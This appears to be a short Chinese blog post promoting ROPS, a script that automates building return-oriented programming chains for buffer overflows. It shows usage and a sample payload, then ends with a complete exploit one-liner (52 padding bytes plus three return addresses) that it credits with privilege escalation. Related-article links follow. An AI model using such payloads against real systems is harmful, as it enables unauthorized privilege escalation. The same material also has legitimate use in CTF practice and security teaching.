ROPS 自动化快速构造缓冲区溢出ROP链工具

项目地址:https://github.com/MartinxMax/ROPS

ROPS

快速自动化构造ROP(Return-Oriented Programming)链的脚本,用于生成ROP攻击的有效载荷。

Usage

$ ./rops.sh

$ ./rops.sh /home/ayush/.binary/rop

该脚本将根据提供的二进制文件自动生成有效的ROP链有效载荷。一旦确认了缓冲区溢出的大小,您就可以使用脚本生成的有效载荷。

脚本生成的有效载荷会自动转换为小端字节序,因此可以直接通过复制来使用。

示例有效载荷:

payload => BUFFER + 0xA03DE5B7 + 0xD079E4B7 + 0x0B4AF7B7

在GDB示例中,我们确认了缓冲区大小为52,根据载荷结果,再次构造最终的载荷

/home/ayush/.binary/rop $(python2 -c 'print "A"*52 + "\xA0\x3D\xE5\xB7" + "\xD0\x79\xE4\xB7"+"\x0B\x4A\xF7\xB7"')

成功权限提升

相关推荐
努力努力再努力wz3 分钟前
【Linux进阶系列】:线程(上)
java·linux·运维·服务器·数据结构·c++·redis
2301_8035545220 分钟前
面试后查缺补漏--cmake,makefiles,g++,gcc(自写精华版)
linux·运维·服务器
VXHAruanjian88825 分钟前
影刀RPA一键分析用户行为!AI智能画像,转化率提升300%[特殊字符]
自动化·rpa·微信小店·视频号·rpa9998·自动化电商·ai7982020
102400241 小时前
ubuntu系统中 jupyter Kernel 频繁崩溃原因
linux·运维·服务器
大唐荣华1 小时前
工业制造领域的ODM、OEM、EMS、JDM、CM、OBM都是啥
运维·产品运营·制造
R-G-B2 小时前
【P7】docker镜像发布和部署
运维·docker·容器·docker镜像·docker镜像发布和部署·镜像发布和部署·docker镜像发布
研究司马懿2 小时前
【ETCD】ETCD集群部署(TLS)
数据库·chrome·云原生·自动化·运维开发·etcd
ZzzZZzzzZZZzzzz…3 小时前
RHCSA---权限管理
linux·运维·权限管理·特殊权限·rhcsa·acl权限·权限掩码原理
Tinyundg3 小时前
WinSCP的简单使用与SFTP自动备份 .bat脚本
运维·服务器
GreenGoblin3 小时前
MTPA-最大转矩电流比控制解析
自动化